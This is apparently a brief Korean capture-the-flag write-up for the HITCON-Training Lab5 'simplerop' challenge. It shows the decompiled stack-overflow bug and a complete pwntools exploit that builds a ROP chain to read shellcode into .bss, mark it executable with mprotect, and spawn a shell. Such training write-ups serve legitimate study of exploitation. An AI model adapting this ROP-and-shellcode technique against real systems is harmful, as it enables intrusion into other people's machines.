[HITCON-Training]Lab5

statically linked, not stripped된 파일이고 ROP문제다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+1Ch] [ebp-14h]
 
  puts("ROP is easy is'nt it ?");
  printf("Your input :");
  fflush(stdout);
  return read(0, &v4, 100);
}

mprotect함수로 원하는 주소에 권한을 부여하고 shellcode를 넣고 실행해주면 된다.

from pwn import *
 
context.arch = 'i386'
 
e = ELF('./simplerop')
p = process('./simplerop')
r = ROP(e)
 
mprotect = e.symbols['mprotect']
bss = 0x080EB000
shellcode = asm(shellcraft.i386.sh())
print shellcode
 
pay = 'A'*(0x1c+4)
r.read(0,bss,0x100)
r.mprotect(bss,0x2000,0x7)
r.raw(bss)
pay += r.chain()
 
p.sendlineafter(':',pay)

p.sendline(shellcode)
 
p.interactive()